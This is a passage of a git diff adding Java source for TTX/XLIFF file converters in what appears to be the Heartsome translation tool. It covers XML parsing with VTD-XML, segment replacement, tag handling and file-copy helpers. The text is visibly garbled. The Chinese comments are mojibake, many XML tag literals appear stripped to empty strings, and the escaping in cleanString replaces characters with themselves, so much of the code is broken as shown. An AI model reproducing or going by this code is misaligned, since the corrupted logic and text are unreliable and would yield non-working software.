/** + * å‘ r8 hslixff æ–‡ä»¶å†™å…¥æ•°æ® + */ + private void writeString(String string) throws IOException { + output.write(string.getBytes("UTF-8")); + } + + /** + * 开始填充文本 + * @param source + * @param target + * @param match + * @param isLock + * @param isXtranslate + * @throws IOException + */ + private void writeSegment(String source, String target, int match, + boolean isLock, boolean isXtranslate) throws IOException { + String approved = match > 100 ? "yes" : "no"; + String matchStr = match > 0 ? " hs:matchType=\"TM\" hs:quality=\"" + match + "\"" : ""; + if (!isLock) { + writeString(" \n" + + " "); + } else { + writeString(" \n" + + " "); + } + writeString(source + "\n "); + if (!target.equals("")) { + if (!targetLang.equals("")) { + writeString(" " + target + "\n"); + } else { + writeString(" " + target + "\n"); + } + } + + if (match >= 100 && !targetLang.equals("")) { + if (!isXtranslate) { + writeString(" " + + " "); + } else { + writeString(" " + + " "); + } + writeString(source + ""); + writeString(" "); + writeString(target + "\n"); + writeString(" \n"); + } + writeString(" \n"); + segId ++; + } + + + + /** + * å‘ xliff 文件中的 ph 标记添加 id 属性。 + */ + private void addPHIdToXliff() throws Exception{ + int phId = 1; + VTDGen vg = new VTDGen(); + boolean parseResult = vg.parseFile(xliffFile, true); + if (!parseResult) { + throw new Exception(); + } + + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + AutoPilot childAP = new AutoPilot(vn); + XMLModifier xm = new XMLModifier(vn); + VTDUtils vu = new VTDUtils(vn); + String xpath = "/xliff/file/body//trans-unit"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + Map phMap = new HashMap(); + + // 先循环 src 中的 ph 标记 + vn.push(); + childAP.selectXPath("./source/descendant::ph"); + while (childAP.evalXPath() != -1) { + phMap.put(phId, vu.getElementFragment()); + xm.insertAttribute(" id='" + (phId ++) + "'"); + } + vn.pop(); + + // å†å¾ªçŽ¯ã€€target 中的 ph 标记 + vn.push(); + childAP.selectXPath("./target//ph"); + while(childAP.evalXPath() != -1){ + boolean findExsit = false; + String tgtPhFrag = vu.getElementFragment(); + for(Entry entry : phMap.entrySet()){ + String srcPhFrag = entry.getValue(); + if (tgtPhFrag.equals(srcPhFrag)) { + findExsit = true; + int srcPhId = entry.getKey(); + phMap.remove(srcPhId); + xm.insertAttribute(" id='" + srcPhId + "'"); + break; + } + } + + if (!findExsit) { + xm.insertAttribute(" id='" + (phId ++) + "'"); + } + } + vn.pop(); + } + xm.output(xliffFile); + } + + + } + + /** + * Copy file. + * @param in + * the in + * @param out + * the out + * @throws Exception + * the exception + */ + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + + + private static void copyFile(String oldFile, String newFilePath, + String strOldEncoding, String strNewEncoding) throws Exception { + FileInputStream fileInputStream = null; + InputStreamReader inputStreamRead = null; + BufferedReader bufferRead = null; + + BufferedWriter newFileBW = null; + OutputStreamWriter outputStreamWriter = null; + FileOutputStream fileOutputStream = null; + try { + fileInputStream = new FileInputStream(oldFile); + inputStreamRead = new InputStreamReader(fileInputStream, + strOldEncoding); + bufferRead = new BufferedReader(inputStreamRead); + + fileOutputStream = new FileOutputStream(newFilePath, false); + outputStreamWriter = new OutputStreamWriter(fileOutputStream, + strNewEncoding); + newFileBW = new BufferedWriter(outputStreamWriter); + + String strTSVLine = ""; + + while ((strTSVLine = bufferRead.readLine()) != null) { + if (strTSVLine.equals("")) { + continue; + } + newFileBW.write(strTSVLine.replaceAll("Shift_JIS", "UTF-8")); + newFileBW.write("\n"); + } + } finally { + if (bufferRead != null) + bufferRead.close(); + if (newFileBW != null) { + newFileBW.flush(); + newFileBW.close(); + } + } + } + + /** + * å°†ut节点下的标记信æ¯è¿›è¡Œè½¬ä¹‰ + * @param value + * @return + */ + private static String cleanString(String value) { + value = value.replaceAll("&", "&"); + value = value.replaceAll("<", "<"); + value = value.replaceAll("\"", """); + value = value.replaceAll(">", ">"); + return value; + } +} \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Xliff2Ttx.java b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Xliff2Ttx.java new file mode 100644 index 0000000..d44609d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ttx/src/net/heartsome/cat/converter/ttx/Xliff2Ttx.java @@ -0,0 +1,867 @@ +package net.heartsome.cat.converter.ttx; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.ttx.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.SubProgressMonitor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * trados 2007 çš„ ttx(tradostag Xliff) 文件逆å‘转æ¢å™¨ã€‚ + * @author robert 2012-07-27 + */ +public class Xliff2Ttx implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-ttx"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("ttx.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to TTX Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2TtxImpl converter = new Xliff2TtxImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * 逆å‘转æ¢å™¨å®žçŽ°ç±» + *
    备注:trans-unitçš„id,对应 ttx 文件的 Tu 节点的id, + * 而 xlf 文件的标记 对应 ttx 文件的å ä½ç¬¦å¦‚%%%1%%% 。
    + * @author robert 2012-07-27 + * @version + * @since JDK1.6 + */ + class Xliff2TtxImpl { + /** 逆转æ¢p */ + private String outputFile; + + /** The encoding. */ + private String encoding; + + /** ttx çš„æºè¯­è¨€ */ + private String detectedSourceLang; + + /** ttx 文件的目标语言 */ + private String detectedTargetLang; + /** 是å¦æ˜¯é¢„ç¿»è¯‘æ¨¡å¼ */ + private boolean isPreviewMode; + + /** 骨架文件的解æžæ¸¸æ ‡ */ + private VTDNav outputVN; + /** 骨架文件的修改类实例 */ + private XMLModifier outputXM; + /** 骨架文件的查询实例 */ + private AutoPilot outputAP; + private VTDUtils outputVU; + /** xliff文件的解æžæ¸¸æ ‡ */ + private VTDNav xlfVN; + /** xliff 文件的查询实例 */ + private AutoPilot xlfAP; + private static final String nodeXpath = "./node()|text()"; + private AutoPilot tagAP; + private int addedEndTagNum = 0; + + /** 这是进度æ¡çš„å‰è¿›é—´éš”,也就是当循环多少个trans-unit节点åŽå‰è¿›ä¸€æ ¼ */ + private int workInterval = 1; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + + Map result = new HashMap(); + String sklFile = params.get(Converter.ATTR_SKELETON_FILE); + String xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + outputFile = params.get(Converter.ATTR_TARGET_FILE); + + String attrIsPreviewMode = params.get(Converter.ATTR_IS_PREVIEW_MODE); + /* 是å¦ä¸ºé¢„è§ˆç¿»è¯‘æ¨¡å¼ */ + isPreviewMode = attrIsPreviewMode != null && attrIsPreviewMode.equals(Converter.TRUE); + + try { + infoLogger.logConversionFileInfo(null, null, xliffFile, sklFile); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸¤å¤§éƒ¨åˆ†å…± 10 个任务,其中加载 xliff æ–‡ä»¶å  1,替æ¢è¿‡ç¨‹å  9。 + monitor.beginTask(Messages.getString("ttx.Xliff2Ttx.task1"), 10); + + //è®°å½•åŠ è½½ä¿¡æ¯ + infoLogger.startLoadingXliffFile(); + + String sklTempSkl = ""; + //先将骨架文件的内容拷è´åˆ°ç›®æ ‡æ–‡ä»¶ï¼Œå†è§£æžç›®æ ‡æ–‡ä»¶ + if (encoding.equalsIgnoreCase("utf-8")) { + copyFile(sklFile, outputFile); + parseOutputFile(outputFile, xliffFile); + }else { + sklTempSkl = File.createTempFile("tempskl", "skl").getAbsolutePath(); + new File(sklTempSkl).deleteOnExit(); + copyFile(sklFile, sklTempSkl); + parseOutputFile(sklTempSkl, xliffFile); + } + parseXlfFile(xliffFile); + getSrcAndTgtLang(); + infoLogger.endLoadingXliffFile(); + + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("ttx.cancel")); + } + + ananysisXlfTU(monitor); + //记录加载完。 + infoLogger.endReplacingSegmentSymbol(); + + + // 针对没有目标语言节点为 noLang çš„ Tvu,将之 lang 属性å˜æˆ ""ï¼› + // 如果 encoding ä¸æ˜¯ utf-8,那么将这个临时文件从 utf-8 转æ¢æˆ encoding æ ¼å¼ + if (encoding.equalsIgnoreCase("utf-8")) { + outputXM.output(outputFile); + parseOutputFile(outputFile, xliffFile); + deleteTgtLangIfNon(); + outputXM.output(outputFile); + }else { + outputXM.output(sklTempSkl); + parseOutputFile(sklTempSkl, xliffFile); + deleteTgtLangIfNon(); + outputXM.output(sklTempSkl); + copyFile(sklTempSkl, outputFile, "UTF-8", encoding); + } + //记录完æˆé€†è½¬æ¢ + infoLogger.endConversion(); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("ttx.Xliff2Ttx.msg1"), e); + } finally { + monitor.done(); + } + result.put(Converter.ATTR_TARGET_FILE, outputFile); + return result; + } + + /** + * 进度æ¡å‰è¿›å¤„ç†ç±»ï¼Œè‹¥è¿”回false,则标志退出程åºçš„执行 + * @param monitor + * @param traversalTuIndex + * @param last + * @return ; + */ + public boolean monitorWork(IProgressMonitor monitor, int traversalTuIndex, boolean last){ + if (last) { + if (traversalTuIndex % workInterval != 0) { + if (monitor.isCanceled()) { + return false; + } + monitor.worked(1); + } + }else { + if (traversalTuIndex % workInterval == 0) { + if (monitor.isCanceled()) { + return false; + } + monitor.worked(1); + } + } + return true; + } + + /** + * 解æžç»“果文件(解æžæ—¶è¿™ä¸ªç»“果文件还是一个骨架文件) + * @param file + * @throws Exception + */ + private void parseOutputFile(String file, String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(file, true)) { + outputVN = vg.getNav(); + outputXM = new XMLModifier(outputVN); + outputAP = new AutoPilot(outputVN); + outputVU = new VTDUtils(outputVN); + }else { + String errorInfo = MessageFormat.format("文件 {0} 的骨架信æ¯æ— æ³•è§£æžï¼Œé€†è½¬æ¢å¤±è´¥ï¼", + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 解æžè¦è¢«é€†è½¬æ¢çš„xliff文件 + * @param xliffFile + * @throws Exception + */ + private void parseXlfFile(String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffFile, true)) { + xlfVN = vg.getNav(); + xlfAP = new AutoPilot(xlfVN); + }else { + String errorInfo = MessageFormat.format("文件 {0} 的骨架信æ¯æ— æ³•è§£æžï¼Œé€†è½¬æ¢å¤±è´¥ï¼", + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 分æžxliff文件的æ¯ä¸€ä¸ª trans-unit 节点 + *
    备注:trans-unitçš„id,对应 ttx 文件的 Tu 节点的id,而 xlf 文件的标记 对应 ttx 文件的å ä½ç¬¦å¦‚%%%1%%% 。
    + * @throws Exception + */ + private void ananysisXlfTU(IProgressMonitor monitor) throws Exception { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + AutoPilot ap = new AutoPilot(xlfVN); + AutoPilot childAP = new AutoPilot(xlfVN); + ap.selectXPath("count(/xliff/file/body//trans-unit)"); + int tuTotalSum = (int) ap.evalXPathToNumber(); + if (tuTotalSum > 500) { + workInterval = tuTotalSum / 500; + } + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 9, SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask("", tuTotalSum % workInterval == 0 ? (tuTotalSum / workInterval) : (tuTotalSum / workInterval) + 1 ); + + VTDUtils vu = new VTDUtils(xlfVN); + String xpath = "/xliff/file/body//trans-unit"; + String srcXpath = "./source"; + String tgtXpath = "./target"; + ap.selectXPath(xpath); + int attrIdx = -1; + // trans-unitçš„id,对应 ttx 文件的 Tu 节点的id + String segId = ""; + // 添加到 ttx æºæ–‡çš„内容 + String srcText = ""; + // 添加到 ttx 目标的内容 + String tgtText = ""; + List tagBorderList = new LinkedList(); + addedEndTagNum = 0; + int traversalTuIndex = 0; + while (ap.evalXPath() != -1) { + traversalTuIndex ++; + if ((attrIdx = xlfVN.getAttrVal("id")) == -1) { + continue; + } + + srcText = ""; + tgtText = ""; + segId = xlfVN.toRawString(attrIdx); + tagBorderList.clear(); + getStartAndEndTagStr(tagBorderList, segId); + + if ((attrIdx = xlfVN.getAttrVal("addedEndTagNum")) != -1) { + addedEndTagNum = Integer.parseInt(xlfVN.toString(attrIdx)); + } + + // 处ç†source节点 + xlfVN.push(); + childAP.selectXPath(srcXpath); + if (childAP.evalXPath() != -1) { + String srcContent = vu.getElementContent(); + srcText = createTTXTuvContent(xlfVN, vu, segId, srcContent, tagBorderList); + } + xlfVN.pop(); + + // 处ç†target节点 + xlfVN.push(); + String tgtContent = null; + childAP.selectXPath(tgtXpath); + if (childAP.evalXPath() != -1) { + tgtContent = vu.getElementContent(); + tgtText = createTTXTuvContent(xlfVN, vu, segId, tgtContent, tagBorderList); + } + xlfVN.pop(); + + //判断是å¦å¤„于é”å®šçŠ¶æ€ + if ((attrIdx = xlfVN.getAttrVal("translate")) != -1) { + if ("no".equalsIgnoreCase(xlfVN.toRawString(attrIdx))) { + // DOLATER 这里未处ç†é”定的相关东西 + } + } + + replaceSegment(segId, srcText, tgtText); + + if (!monitorWork(subMonitor, traversalTuIndex, false)) { + throw new OperationCanceledException(Messages.getString("ttx.cancel")); + } + } + if (!monitorWork(subMonitor, traversalTuIndex, true)) { + throw new OperationCanceledException(Messages.getString("ttx.cancel")); + } + subMonitor.done(); + } + + /** + * 生æˆæ–°çš„ ttx 文件 tuv 的内容 + * @param segId trans-unit 与 Tu 节点的 id + * @param content xlf 节点source 或 target 节点的内容 + * @param contentSB 新生æˆçš„ tuv 节点内容 + */ + private String createTTXTuvContent(VTDNav vn, VTDUtils vu, String segId, + String content, List tagBorderList) throws Exception { + if (content == null || "".equals(content)) { + return content; + } + int index = -1; +// //先处ç†æ ‡è®°ï¼Œç”±R8过æ¥çš„标记是æˆå¯¹å‡ºçŽ°çš„,但是tuv里é¢çš„标记很乱,ä¸ä¼šæˆå¯¹å‡ºçŽ°ã€‚故找到多余的结æŸæ ‡è®°è¿›è¡Œå¤„ç†ã€‚ +// int tagPairNum = 0; +// for (int i = 0; i < tagBorderList.size(); i++) { +// String tagBorder = tagBorderList.get(i); +// if (i == 0 && "end".equals(tagBorder)) { +// content = "" + content; +// while(i + 1 < tagBorderList.size() && "end".equals(tagBorderList.get(i + 1))){ +// content = "" + content; +// i++; +// } +// }else if ("start".equals(tagBorder)) { +// tagPairNum ++; +// }else if ("end".equals(tagBorder)) { +// tagPairNum --; +// } +// } +// if (tagPairNum > 0) { //结æŸæ ‡è®°å°‘了,就应该删除多作的 +// while(tagPairNum != 0){ +// if ((index = content.lastIndexOf("")) != -1) { +// content = content.substring(0, index) + content.substring(index + 4); +// } +// tagPairNum--; +// } +// }else if (tagPairNum < 0) { //标记结æŸç‚¹å¤šäº†ï¼Œå°±åº”添加,以ä¿æŒr8与ttx文件标记的对应 +// while(tagPairNum != 0){ +// content = content + ""; +// tagPairNum++; +// } +// } + + + //先处ç†æ ‡è®°ï¼Œä¸“门处ç†ttx原文结尾处没有æˆå¯¹çš„的情况 +// int start = 0; +// int end = 0; +// for (int i = 0; i < tagBorderList.size(); i++) { +// if ("start".equals(tagBorderList.get(i))) { +// start ++; +// }else { +// if (start > end) { +// end ++; +// } +// } +// } +// + int ends = addedEndTagNum; + while(ends > 0){ + if ((index = content.lastIndexOf("")) != -1) { + content = content.substring(0, index) + content.substring(index + 4); + } + ends --; + } + + + //先判断当å‰èŠ‚点下有没有å­èŠ‚点,也就是有没有标记,如果没有,直接替æ¢ï¼Œå¦åˆ™ç”Ÿæˆæ–°çš„标记 + if (vu.getChildElementsCount() > 0) { + index = content.indexOf("", index); + String tagStr = content.substring(index, idIdx + 1); + //处ç†çš„情况 + if (tagStr.indexOf("/>") != -1) { + String newTagStr = "")) + ">"; + newTagStr = "" + cleanString(newTagStr) + "" + + "</cf>"; + content = content.replace(tagStr, newTagStr); + }else { + String tagId = getTagId(tagStr.indexOf("/>") == -1 ? (tagStr + "") : tagStr); +// String tagId = ""; + if ("".equals(tagId)) { + // 如果找ä¸åˆ°ç›¸åº”标记的 id,那么自动将这个标记转æ¢æˆ ttx 文件的 cf 标记。 + String newTagStr = "")) + ">"; + newTagStr = "" + cleanString(newTagStr) + ""; + content = content.replace(tagStr, newTagStr); + }else { + String tagParentStr = getTagParent(segId, tagId); + if ("".equals(tagParentStr)) { + String newTagStr = "")) + ">"; + newTagStr = "" + cleanString(newTagStr) + ""; + content = content.replace(tagStr, newTagStr); + }else { + // 如果 cf 标记有父节点(父节点ä¸æ˜¯tuv),那么直接将å ä½ç¬¦æ›¿æ¢æˆè¿™ä¸ªæ ‡è®°é‡Œçš„内容å³å¯ + int endIdx = content.indexOf("<", idIdx); + String tagTextStr = content.substring(idIdx + 1, endIdx == -1 ? content.length() : endIdx); + tagParentStr = tagParentStr.replace("%%%"+tagId+"%%%", tagTextStr); + content = content.replace(tagStr + tagTextStr, tagParentStr); + } + } + } + index = content.indexOf(""); + int b = 0; + while(aaa != -1){ + b ++; + aaa = content.indexOf("", aaa + 1); + } + } + } + + // 处ç†ph标记 + index = content.indexOf("", index) + 5); + content = content.replace(phFrag, replacePH(phFrag)); + index = content.indexOf(""); + if(index != -1){ + String endTagStr = "</cf>"; + content = content.replaceAll("", endTagStr); + } + return content; + } + + + /** + * 通过 trans-unit çš„ id åŠ è¯­è¨€èŽ·å– ttx 文件的 tuv 的内容,从而进行组装æˆæ–°çš„内容,å†å°†è¿™ä¸ªæ–°çš„内容æ’入到 ttx 所对应的地方 + */ + private String getTagParent(String segId, String tagId) throws Exception { + String xpath = "/TRADOStag/Body/Raw//Tu/Tuv[@Lang='" + detectedSourceLang + "']" + + "//node()[text()='%%%" + tagId + "%%%']"; + String tagParent = ""; + outputAP.selectXPath(xpath); + if (outputAP.evalXPath() != -1) { + tagParent = outputVU.getElementFragment(); + } + return tagParent; + } + + /** + * 起始标记ä¸ä¼šä¸¢å¤±ï¼Œç»“æŸæ ‡è®°ä¼šï¼Œå› æ­¤èŽ·å–出结æŸæ ‡è®°çš„æ•°é‡ï¼Œ + * @param tagNumMap + */ + private void getStartAndEndTagStr(List tagBorderList, String segId) throws Exception { + String xpath = "/TRADOStag/Body/Raw//Tu[@id='" + segId + "']" + + "/Tuv[@Lang='" + detectedSourceLang + "']/descendant::ut[@DisplayText=\"cf\"]"; + outputAP.selectXPath(xpath); + int index = -1; + while (outputAP.evalXPath() != -1) { + if ((index = outputVN.getAttrVal("Type")) != -1) { + if ("start".equals(outputVN.toRawString(index))) { + tagBorderList.add("start"); + }else if ("end".equals(outputVN.toRawString(index))) { + tagBorderList.add("end"); + } + } + } + } + + /** + * 替æ¢æŽ‰éª¨æž¶æ–‡ä»¶ä¸­çš„å ä½ç¬¦ + * + * @param segId + * @param srcBean + * @param tgtbeBean + */ + private void replaceSegment(String segId, String srcText, String tgtText) throws Exception { + String xpath = "/TRADOStag/Body/Raw//Tu[@id='" + segId + "']/Tuv"; + outputAP.selectXPath(xpath); + int index = -1; + while (outputAP.evalXPath() != -1) { + if ((index = outputVN.getAttrVal("Lang")) != -1) { + String lang = outputVN.toRawString(index); + if (lang.equals(detectedSourceLang)) { + String tuvStr = outputVU.getElementHead() + (srcText == null ? "" : srcText) + ""; + outputXM.remove(); + outputXM.insertAfterElement(tuvStr); + }else if (lang.equals(detectedTargetLang)) { + if (tgtText != null && !"".equals(tgtText)) { + String tuvStr = outputVU.getElementHead() + "" + tgtText + "" + ""; + outputXM.remove(); + outputXM.insertAfterElement(tuvStr.getBytes("UTF-8")); + } + } + } + } + } + + /** + * æ ¹æ®ä¸€ä¸ªæ ‡è®°çš„头部获å–标记的 id 属性值 + * @param tagStr + * @return + */ + private String getTagId(String tagStr) throws Exception { + String tagId = ""; + VTDGen vg = new VTDGen(); + vg.setDoc(tagStr.getBytes()); + vg.parse(false); + VTDNav vn = vg.getNav(); + tagAP = new AutoPilot(vn); + tagAP.selectXPath("/g"); + int index = -1; + if (tagAP.evalXPath() != -1) { + if ((index = vn.getAttrVal("id")) != -1) { + tagId = vn.toRawString(index); + } + } + return tagId; + } + + /** + * 获å–æºæ–‡ä»¶çš„æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ + */ + private void getSrcAndTgtLang() throws Exception { + String srcLang = ""; + String tgtLang = ""; + String xpath = "/TRADOStag/FrontMatter/UserSettings"; + outputAP.selectXPath(xpath); + int attrIdx = -1; + if (outputAP.evalXPath() != -1) { + if ((attrIdx = outputVN.getAttrVal("SourceLanguage")) != -1) { + srcLang = outputVN.toRawString(attrIdx); + } + if ((attrIdx = outputVN.getAttrVal("TargetLanguage")) != -1) { + tgtLang = outputVN.toRawString(attrIdx); + } + } + detectedSourceLang = srcLang; + //如果 ttx 的目标文件的目标语言为空,那设æˆè½¬æ¢çš„目标语言 + detectedTargetLang = "".equals(tgtLang) ? "noLang" : tgtLang; + } + + /** + * 针对没有目标语言节点为 noLang çš„ Tvu,将之 lang 属性å˜æˆ ""ï¼› + */ + private void deleteTgtLangIfNon() throws Exception { + String xpath = "/TRADOStag/Body/Raw//Tu/Tuv[@Lang='noLang']"; + outputAP.selectXPath(xpath); + while(outputAP.evalXPath() != -1){ + outputXM.updateToken(outputVN.getAttrVal("Lang"), "".getBytes("UTF-8")); + } + + int index = -1; + xpath = "/TRADOStag/Body/Raw//Tu"; + outputAP.selectXPath(xpath); + while(outputAP.evalXPath() != -1){ + if ((index = outputVN.getAttrVal("id")) != -1) { + outputXM.removeAttribute(index - 1); + } + } + + xpath = "/TRADOStag/Body/Raw//Tu//ut"; + outputAP.selectXPath(xpath); + while(outputAP.evalXPath() != -1){ + if ((index = outputVN.getAttrVal("id")) != -1) { + outputXM.removeAttribute(index - 1); + } + } + + } + + /** + * å¤„ç† ph 节点 + * @return + * @throws Exception + */ + private String replacePH(String phFrag) throws Exception{ + String replaceText = ""; + VTDGen vg = new VTDGen(); + vg.setDoc(phFrag.getBytes()); + vg.parse(true); + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + VTDUtils vu = new VTDUtils(vn); + ap.selectXPath("/ph"); + String phContent = ""; + int attrIdx = -1; + String utType = ""; + String edgeStr = ""; + if (ap.evalXPath() != -1) { + phContent = vu.getElementContent(); + // 有type属性的,一般是cf标记 + if ((attrIdx = vn.getAttrVal("type")) != -1) { + if ("cf".equals(vn.toString(attrIdx))) { + // 这个cf是开始还是结æŸ<cf size="11" complexscriptssize="11"> + if (phContent.indexOf("<cf") != -1) { + utType = "start"; + edgeStr = "RightEdge=\"angle\""; + }else { + utType = "end"; + edgeStr = "LeftEdge=\"angle\""; + } + replaceText += "" + cleanString(phContent) + ""; + } + }else { + //没有type的,是其他标记,如<symbol font="Symbol" character="F0E2"/> + String tagName = ""; + int startIdx = -1; + int endIdx = -1; + // 针对起始标记如<symbol font="Symbol" character="F0E2"/> + if ((startIdx = phContent.trim().indexOf("<")) != -1) { + //针对结æŸæ ‡è®°å¦‚</null?> + if ("/".equals(phContent.trim().substring(startIdx + 4, startIdx + 5))) { + tagName = phContent.trim().substring(startIdx + 5, phContent.trim().indexOf(">")); + utType = "end"; + edgeStr = " LeftEdge=\"angle\""; + }else { + if ((endIdx = phContent.trim().indexOf(" ")) != -1) { + tagName = phContent.trim().substring(startIdx + 4, endIdx); + if (phContent.indexOf("/>") != -1) { + utType = ""; + }else { + utType = "start"; + edgeStr = " RightEdge=\"angle\""; + } + }else if((endIdx = phContent.trim().indexOf("/")) != -1) { + //针对没有空格的如<field/> + tagName = phContent.trim().substring(startIdx + 4, phContent.trim().indexOf("/")); + utType = ""; + }else{ + //针对 <field> + tagName = phContent.trim().substring(startIdx + 4, phContent.trim().indexOf(">")); + utType = "start"; + edgeStr = " RightEdge=\"angle\""; + } + } + } + String utTypeAttrStr = utType.length() > 0 ? " Type=\""+utType+"\"" : ""; + replaceText = "" + cleanString(phContent) + ""; + } + } + return replaceText; + } + + } + + /** + * 将一个文件的数æ®å¤åˆ¶åˆ°å¦ä¸€ä¸ªæ–‡ä»¶ + * @param in + * @param out + * @throws Exception + */ + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + + + + /** + * å°†ut节点下的标记信æ¯è¿›è¡Œè½¬ä¹‰ + * @param value + * @return + */ + private static String cleanString(String value) { + value = value.replaceAll("<", "<"); + value = value.replaceAll("\"", """); + value = value.replaceAll(">", ">"); + value = value.replaceAll("&", "&"); + return value; + } + + private static void copyFile(String oldFile, String newFilePath, + String strOldEncoding, String strNewEncoding) throws Exception { + FileInputStream fileInputStream = null; + InputStreamReader inputStreamRead = null; + BufferedReader bufferRead = null; + + BufferedWriter newFileBW = null; + OutputStreamWriter outputStreamWriter = null; + FileOutputStream fileOutputStream = null; + try { + fileInputStream = new FileInputStream(oldFile); + inputStreamRead = new InputStreamReader(fileInputStream, + strOldEncoding); + bufferRead = new BufferedReader(inputStreamRead); + + fileOutputStream = new FileOutputStream(newFilePath, false); + outputStreamWriter = new OutputStreamWriter(fileOutputStream, + strNewEncoding); + newFileBW = new BufferedWriter(outputStreamWriter); + + String strTSVLine = ""; + + while ((strTSVLine = bufferRead.readLine()) != null) { + if (strTSVLine.equals("")) { + continue; + } + newFileBW.write(strTSVLine.replaceAll("Shift_JIS", "UTF-8")); + newFileBW.write("\n"); + } + } finally { + if (bufferRead != null) + bufferRead.close(); + if (newFileBW != null) { + newFileBW.flush(); + newFileBW.close(); + } + } + } + + + public static void main(String[] args) { +// String content = "this is a testasdf as sad "; +// content = content.substring(0, content.lastIndexOf("")) + content.substring(content.lastIndexOf("") + 4); +// System.out.println(content); + +// String content = "this is a testasdf as sad "; +// int index = content.indexOf(""); +// content = "")) + ">"; +// System.out.println(content); + + int index = -1; +// String content = "<symbol font="Symbol" character="F0E2"/>"; +// String content = "<field/>"; +// String content = "</cf><field/>"; + String content = "</cf>è¿™åŽé¢æ˜¯ä¸ªcf标记了哦。</cf>"; + index = content.indexOf("", index) + 5); + + System.out.println(phFrag); + try { + VTDGen vg = new VTDGen(); + vg.setDoc(phFrag.getBytes()); + vg.parse(true); + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + VTDUtils vu = new VTDUtils(vn); + ap.selectXPath("/ph"); + String replaceText = ""; + String phContent = ""; + int attrIdx = -1; + if (ap.evalXPath() != -1) { + phContent = vu.getElementContent(); +// System.out.println("phContent = " + phContent); + // 有type属性的,一般是cf标记 + if ((attrIdx = vn.getAttrVal("type")) != -1) { + if ("cf".equals(vn.toString(attrIdx))) { + String utType = ""; + // 这个cf是开始还是结æŸ<cf size="11" complexscriptssize="11"> + if (phContent.indexOf("<cf") != -1) { + utType = "start"; + }else { + utType = "end"; + } + replaceText = "" + phContent + ""; + } + }else { + //没有type的,是其他标记,如<symbol font="Symbol" character="F0E2"/> + String tagName = ""; + int startIdx = -1; + int endIdx = -1; + // 针对起始标记如<symbol font="Symbol" character="F0E2"/> + if ((startIdx = phContent.trim().indexOf("<")) != -1) { + //针对结æŸæ ‡è®°å¦‚</null?> + if ("/".equals(phContent.trim().substring(startIdx + 4, startIdx + 5))) { + tagName = phContent.trim().substring(startIdx + 5, phContent.trim().indexOf(">")); + }else { + if 